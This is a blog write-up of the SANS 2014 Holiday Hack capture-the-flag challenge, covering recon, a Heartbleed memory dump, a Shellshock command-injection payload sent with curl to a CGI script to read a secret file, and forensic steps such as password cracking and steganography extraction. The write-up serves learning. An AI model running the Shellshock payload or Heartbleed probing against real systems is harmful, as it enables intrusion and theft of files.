Introduction

Back in December, SANS released another installment of their annual holiday challenge. I enjoyed taking on the 2012 challenge, so I was excited to see what SANS had in store this year. This year’s challenge didn’t disappoint with a nice mix of basic network recon, web application hacking, and some forensics. This post will detail how I found each required “secret” to solve the challenge.

I’d like to extend a personal thanks for all the hard work SANS puts in to putting on this challenge every year.

Ghost of Hacking Past

Let’s start with a basic nmap:

[email protected]:~# nmap -v -A -n -Pn -p 1-65535 173.255.233.59 <snip> Discovered open port 22/tcp on 173.255.233.59 Discovered open port 31124/tcp on 173.255.233.59 </snip>

The SSH service is locked down and doesn’t prove fruitful since the only supported authentication method is via public/private keys. However, if we connect to the service on TCP port 31124 using netcat, we find an implementation of the well-known ELIZA program:

[email protected]:~# nc 173.255.233.59 31124 I AM ELIZA. WHAT'S ON YOUR MIND?

With some trial and error, I found that if we ask for the secret multiple times, we get a hint:

[email protected]:~# nc 173.255.233.59 31124 I AM ELIZA. WHAT'S ON YOUR MIND? > secret A GIRL'S GOTTA KEEP HER SECRETS. WHY DON'T YOU ASK ME ABOUT SOMETHING ELSE? > secret YOU REALLY ARE INTERESTED IN MY SECRET. I THINK WE SHOULD GET TO KNOW EACH OTHER BETTER FIRST. TELL ME ABOUT YOUR FAVOURITE WEBSITES. > secret I AM SO SORRY, BUT I CAN'T TELL YOU MY SECRET VIA THIS DIALOG. I DO REALLY LIKE YOU, BUT I WORRY THAT SOMEONE MAY BE SHOULDER SURFING YOU. NO ONE IS SHOULDER SURFING ME, THOUGH, SO WHY DON'T YOU GIVE ME A URL THAT I CAN SURF TO?

Looks like we can make Eliza navigate to a URL of our choosing. Let’s setup a netcat listener, and then point Eliza to it to see what she does.

Back on our server, we setup the listener:

Then, we tell Eliza to visit the host

> surf to http://x.x.x.x DOES THIS LOOK LIKE THE CORRECT PAGE?

And, back in our netcat session, we see this:

GET / HTTP/1.1 Accept-Encoding: identity Host: 107.170.44.35 Connection: close User-Agent: Mozilla/5.0 (Bombe; Rotors:36) Eliza Secret: "Machines take me by surprise with great frequency. -Alan Turing"

Awesome - one down. Let’s move on.

Ghost of Hacking Present

SANS is great at incorporating big vulnerabilities found in the previous year into their holiday challenges. As such, I was hoping there would be a mention to Heartbleed and Shellshock somewhere in their challenges. Sure enough, the Ghost of Hacking Present allowed us to leverage both vulnerabilities to our advantage.

Let’s start with the HTTPS service.

Running a Heartbleed POC script, we can see the following dumped from the server:

0180: 01 00 0F 00 01 01 43 25 32 30 69 74 73 25 32 30 ......C%20its%20 0190: 66 6F 72 6D 25 32 43 25 32 30 61 6E 64 25 32 30 form%2C%20and%20 01a0: 6C 65 66 74 25 32 30 6E 6F 74 68 69 6E 67 25 32 left%20nothing%2 01b0: 30 6F 66 25 32 30 69 74 25 32 30 76 69 73 69 62 0of%20it%20visib 01c0: 6C 65 25 32 30 73 61 76 65 25 32 30 6F 6E 65 25 le%20save%20one% 01d0: 32 30 6F 75 74 73 74 72 65 74 63 68 65 64 25 32 20outstretched%2 01e0: 30 68 61 6E 64 2E 25 32 30 42 75 74 25 32 30 66 0hand.%20But%20f 01f0: 6F 72 25 32 30 74 68 69 73 25 32 30 69 74 25 32 or%20this%20it%2 0200: 30 77 6F 75 6C 64 25 32 30 68 61 76 65 25 32 30 0would%20have%20 0210: 62 65 65 6E 25 32 30 64 69 66 66 69 63 75 6C 74 been%20difficult 0220: 25 32 30 74 6F 25 32 30 64 65 74 61 63 68 25 32 %20to%20detach%2 0230: 30 69 74 73 25 32 30 66 69 67 75 72 65 25 32 30 0its%20figure%20 0240: 66 72 6F 6D 25 32 30 74 68 65 25 32 30 6E 69 67 from%20the%20nig 0250: 68 74 25 32 43 25 32 30 61 6E 64 25 32 30 73 65 ht%2C%20and%20se 0260: 70 61 72 61 74 65 25 32 30 69 74 25 32 30 66 72 parate%20it%20fr 0270: 6F 6D 25 32 30 74 68 65 25 32 30 64 61 72 6B 6E om%20the%20darkn 0280: 65 73 73 25 32 30 62 79 25 32 30 77 68 69 63 68 ess%20by%20which 0290: 25 32 30 69 74 25 32 30 77 61 73 25 32 30 73 75 %20it%20was%20su 02a0: 72 72 6F 75 6E 64 65 64 2E 25 32 30 26 57 65 62 rrounded.%20&Web 02b0: 73 69 74 65 25 32 30 53 65 63 72 65 74 25 32 30 site%20Secret%20 02c0: 25 32 33 31 3D 48 61 63 6B 69 6E 67 25 32 30 63 %231=Hacking%20c 02d0: 61 6E 25 32 30 62 65 25 32 30 6E 6F 62 6C 65 25 an%20be%20noble%

Decoded, this gives us:

its form, and left nothing of it visible save one outstretched hand. But for this it would have been difficult to detach its figure from the night, and separate it from the darkness by which it was surrounded. &Website Secret #1=Hacking can be noble

Now let’s turn our attention to the main HTTP site. Basic recon shows us that a contact page is available at /cgi-bin/submit.sh . The .sh tells us that this is likely a shell script processing the request. This immediately tells us to check for Shellshock. After a little bit of trial and error, we can get the following:

Great. Now that we can start running commands, let’s start exploring the filesystem. We find out pretty quickly that only bash builtin commands are available to us (no cat , ls etc.) - bummer. No problem, we can start by exploring the filesystem via echo /<directory>* .

Looks like the file is at /secret . We can use a bash read loop to get the contents of it.

*Note: Make sure to escape the $ , otherwise the local system will try to replace the variable contents before sending the request.

[email protected]:~/sans# curl http://www.scrooge-and-marley.com/cgi-bin/submit.sh -A "() { :;};echo;while read line; do echo \$line; done < /secret;" Website Secret #2: Use your skills for good.

Easy as that!

Fun fact: the /server-status page was accessible on the server, allowing us to essentially watch as requests are being made to the server. Big shout-out to everyone trying to brute force hidden files/directories :)

Ghost of Hacking Future

This one was tougher than the first two - largely because I’m not great at filesystem forensics. To follow along, you can download the file here.

First, we run file to see what kind of file this is:

[email protected]:~# file hhusb.dd.bin hhusb.dd.bin: x86 boot sector, code offset 0x52, OEM-ID "NTFS ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0x0)

Looks like a standard NTFS filesystem. Let’s try to mount the image:

Sweet - we have two files. Opening the .doc doesn’t give us much info, but I wonder if there’s more to it than meets the eye. I ran strings on the file and found this:

USB Secret #1: Your demise is a source of mirth.

Looks like a secret was hidden in the file. Huh. Turns out, this was in one of the document properties, which are viewable using Word.

Now let’s go after the PCAP. Looking through the contents of the file, we can see a conversation regarding the death of Scrooge, but no secret. I began to wonder if there was a reason that this was a pcap-ng file instead of just a pcap. Turns out, there are additional fields supported by pcap-ng files, one of which is packet comments.

Using Wireshark, we can find any packet comments by filtering for pkt_comment :

Sweet! Looks like there are two comments:

The first one is base64 encoded:

[email protected]:~/sans_recovered# echo VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg== | base64 -d USB Secret #2: Your demise is a source of relief.

The other hint might come in handy later. Ok, two secrets down. But where’s #3 and #4? I bet there are more files to be had. Let’s use The Sleuth Kit to check for previously deleted files that we can recover:

I see a couple of things that stand out. First off, what’s that “Bed_Curtains.zip” file? Also, it looks like a file called “Tiny_Tom_Crutches_Final.jpg” was previously deleted (indicated by the * ). Let’s go ahead and extract all these files into a directory called /sans_recovered

Where’s “Bed_Curtains.zip”? After asking around, it turns out that this syntax indicates the file is stored as an NTFS alternate data stream. We can extract the file manually using icat .

Let’s unzip it:

Looks like it’s password protected, so what password should we use? At this point, we notice the following hint given by the SANS storyline:

Just work with me on this, man. There’s something important and even CeWL here for you.

This suggests that the tool CeWL would be useful in creating a custom wordlist to break the password. We can run the tool like this:

./cewl.rb -d 3 -w sans_wordlist.txt http://pen-testing.sans.org/holiday-challenge/2014

Unfortunately, after trying this as a wordlist for both the SANS URL as well as directly with hackersforcharity.org, I still couldn’t find the right password. So, next choice - just use a huge wordlist. We’ll crack the password using John the Ripper (ver: 1.7.9-jumbo-7).

Looks like it worked! Let’s take a look at the properties of the extracted image using exiftool .

[email protected]:~# exiftool Bed_Curtains.png File Name : Bed_Curtains.png Directory : . File Size : 1401 kB <snip> Comment : USB Secret #3: Your demise is a source of gain for others. Exif Byte Order : Big-endian (Motorola, MM) <snip>

One more to go. Let’s look at the Tiny_Tom_crutches.png file to see what we can find. With this being a CTF style challenge, let’s check for the presence of steganography. The tool stegdetect is pretty good at this, so let’s see what it finds:

The hint we found pointing to this project might come in handy. Let’s see if we can use it to get the secret:

[email protected]:~/sans_recovered# java -jar f5.jar x -e secret.txt Tiny_Tom_Crutches_Final.jpg Huffman decoding starts Permutation starts 423168 indices shuffled Extraction starts Length of embedded file: 116 bytes (1, 127, 7) code used [email protected]:~/sans_recovered# cat secret.txt Tiny Tom has died. USB Secret #4: You can prevent much grief and cause much joy. Hack for good, not evil or greed.

There it is! All the secrets have been retrieved.

Conclusion

As always, this was a fantastic challenge created by the folks at SANS. I enjoyed that this year’s challenge contained bits and pieces from many aspects of infosec, and am already looking forward to next year’s challenge!

As always, let me know if you have any questions!

-Jordan (@jw_sec)